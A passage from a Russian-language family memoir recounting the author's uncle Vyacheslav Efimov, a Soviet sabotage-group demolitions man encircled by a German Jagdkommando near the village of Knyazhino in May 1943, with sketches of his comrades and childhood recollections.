командование активизировало заброску диверсионных групп для

подрыва коммуникаций и нанесения максимального урона врагу,

а немцы усилили охрану и стали направлять в смоленские леса

свои ягдкоманды.

В детстве я конечно же знал, что мой дядя – Вячеслав

Ефимов – Герой Советского Союза.

- 99 -

Но детали не принято было обсуждать среди родственников и

все подробности я выискивал в Internet уже в Корее. Мать

Вячеслава Ефимова – тетя Эмма – была эстонкой по

национальности. Даже мне, совсем еще мальчишке, в 60-х годах

было очевидно, что в молодости тетя Эмма была очаровательно

красивой и что мои бабушка с дедушкой очень чутко относятся к

ней. Все поездки на родину моих родителей – в город Тверь,

тогда называвшийся Калинин, как правило сопровождались

визитом к тете Эмме, которая в войну потеряла сначала мужа, а

затем и сына. Муж тети Эммы, Борис Кириллович Ефимов, погиб

в самом начале войны при бомбежке немцами Калинина. И

Слава, которому тогда еще не исполнилось 18 лет, в октябре

1941 года пошел добровольцем на фронт – мстить за отца.

Его зачислили в школу подрывников. Зиму 1941 – 42 гг.

обучали в этой школе, а весной 42 года – курс молодого бойца: в

составе 10 – го отдельного батальона минеров Слава был

заброшен в немецкий тыл – Смоленскую область, к партизанам.

«Сомненья прочь, уходит в ночь отдельный 10 – й наш

десантный батальон» - это про них – гвардейцев-минеров.

В смоленских лесах оставалось много партизан из состава

частей Красной Армии, окруженных немцами в 1941 году под

Смоленском и Вязьмой. К ним и послали Славу Ефимова «на

стажировку» в 1942 году. Стажировка эта, по-видимому, была

успешной, Слава освоил партизанскую науку и к концу 42 года

стал профессиональным подрывником.

Командование берегло гвардейцев. На зиму 1942 – 43 гг. их

выводили за линию фронта, давая своеобразные «зимние

каникулы». Ну а весной 43 года – опять к немцам в тыл, туда, где

был плацдарм для наступления на Москву...

Группа Николая Колосова, в которую входил Слава

Ефимов, была заброшена на парашютах в Смоленскую область

в ночь на 22 апреля 1943 года. Она входила в отряд старшего

лейтенанта Дубовицкого. 8 мая 1943 года группе был дан приказ:

на перегоне Голынки - Лелеквинская линии Витебск - Смоленск

подорвать эшелон противника, разведать движение на

автостраде Витебск - Смоленск и взорвать мост. Группа смогла

подорвать армейский склад боеприпасов на станции

Лелеквинская.

«Все время ухожу от преследования» - такова была

- 100 -

последняя радиограмма от группы Николая Колосова. Ребята

стремились к Княжино, поскольку там, на высоте 207,8,

партизанами был оставлен для них тайник со взрывчаткой и

боеприпасами. И здесь их окружила немецкая ягдкоманда.

Вот описание тактики действия ягдкоманд, которое я отыскал в

Интернете.

В борьбе с партизанами немцы действовали педантично и

рационально. Окружение стоянки начиналось под вечер, в

последних лучах заходящего солнца. Подтягивались штурмовые

группы с разных сторон, численностью не больше роты каждая.

На обозначенном рубеже егеря рассыпались в цепи, которые

смыкались друг с другом, окружая партизанскую стоянку

полукольцом. Все делалось скрытно и быстро, в сгущающихся

сумерках, пока еще можно было контролировать процесс

визуально. Сразу же закреплялись для подстраховки от

внезапного прорыва. Наступление начиналось на рассвете,

сразу, как только можно было различить цель. Наступали с

востока, со стороны восходящего солнца. На западе

отступающих партизан ожидала западня....

И вот – ночь с 11 на 12 мая 1943 года. Шестеро молодых

ребят на высоте 207,8 у деревни Княжино окружены

ягдкомандой.

Старший – Николай Колосов, 24 года. Он старше остальных на 4

года, старший лейтенант и признанный авторитет. Ребята ему

верят, верят в его жизненный опыт, смекалку, умение найти

решение в самой трудной ситуации. Выше никаких командиров

здесь нет, только Васильевич, как часто между собой называет

его вся группа.

Младший сержант Вячеслав Ефимов. 19 лет, пулеметчик. В

завтрашнем бою на его пулемет – особая надежда. Слава не

подведет – так считает вся группа.

Рядовой Иван Базылев, 20 лет. Родом из Смоленской

области, из крестьянской семьи. Его родная деревня Балтутино

ближе, чем у всех остальных к Княжино. У Ивана есть свой счет

к немцам на смоленской земле.

Рядовой Филипп Безруков, 21 год. Сибиряк, из Челябинска.

Прошел трудный жизненный путь, без отца, работал кочегаром и

помощником машиниста на паровозе. В Красной Армии – с июня

1941 года.

- 101 -

Старший сержант Владимир Горячев, 20 лет. Тоже сибиряк, из

Омска. На фронте – с июня 1941 года. Именно он с Николаем

Колосовым смог отыскать тайник со взрывчаткой и

боеприпасами на высоте 207,8.

Рядовой Михаил Мягкий, 21 год. Украинец, из под

Харькова, из крестьянской семьи. Его усилиями подступы к

высоте 207,8 оказались надежно заминированы.

В группе Николая Колосова был еще и седьмой человек –

Дмитрий Яблочкин, который после диверсии на Лелеквинской

был тяжело ранен и ребята, отступая, оставили его у местных

жителей.

Ночь, чудная майская ночь с 11 на 12 мая 1943 года!

Молодые, полные сил и энергии 20-летние парни осознают, что

попали в окружение. По немецкой логике они должны были в эту

ночь запаниковать, осознать свою беспомощность перед силой

немецкого оружия и сдаться. Но вопреки этой логике ребята

готовились к бою, окапывались и всю ночь минировали свои

позиции. Не сдаваться, а мины ставить – другие варианты не

обсуждались.

Мины расставлены, но шестерка молодых ребят вполне отдает

себе отчет в том, что завтрашний бой будет для них последним.

О чем они думали в эту ночь, что позволило им в этой

сверхкритической ситуации сохранить честь и достоинство, стать

настоящими Героями, подвиг которых не вызывает ни у кого ни

малейших сомнений на протяжении уже почти что 70 лет? Эти

вопросы долго не давали мне покоя. Ведь у каждого человека в

жизни есть какой-то кумир, идеал, на которого он хочет быть

похожим. Моим кумиром стал мой дядя, Вячеслав Ефимов, и вся

группа Николая Колосова, устроившая у деревни Княжино свой

«маленький Сталинград». Мне кажется, что желание показать

немцам «маленький Сталинград» витало в ту майскую ночь

среди шестерки гвардейцев.

Наверное, каждый вспоминал и свою короткую жизнь. У

Славы Ефимова эти воспоминания тесно переплетались с его

семьей, матерью Эммой Гансевной, дружной Ефимовской

семьей отца, Бориса Кирилловича, и предвоенной жизнью в

Калинине. Сразу после революции католичка Эмма была очень

негативно принята родителями Бориса Кирилловича, но его брат

Михаил и сестра Мария, несмотря на возражения родителей,

- 102 -

полюбили красавицу- эстонку Эмму. В октябре 1923 года у Эммы

и Бориса Ефимовых родился первенец – Слава, а в январе 1924

у Марии Кирилловны Масленниковой, бывшей до замужества

Ефимовой, родились сразу двое сыновей: Юра и Женя. Они

были почти одногодки, вместе росли, ходили друг к другу в гости,

вместе выдумывали разные ребяческие забавы. И вот что

придумал старший – заводила Славка.

Неподалеку от Пролетарки, района бывшей фабрики купца

Морозова в Твери, был аэродром Мигалово. Он и сейчас там

есть.

Но в начале 30-х годов каждый полет самолета – событие. Люди,

заслышав шум мотора, выскакивали на улицы из своих

трехэтажных бараков, чтобы поглядеть на аэроплан. Славка,

расставив Женьку и Юрку по 2-му и 1-му этажам, учудил

спускать с 3-го этажа по лестничным перилам коромысло.

Громыхание коромысла чем-то напоминало шум мотора

самолета, а сами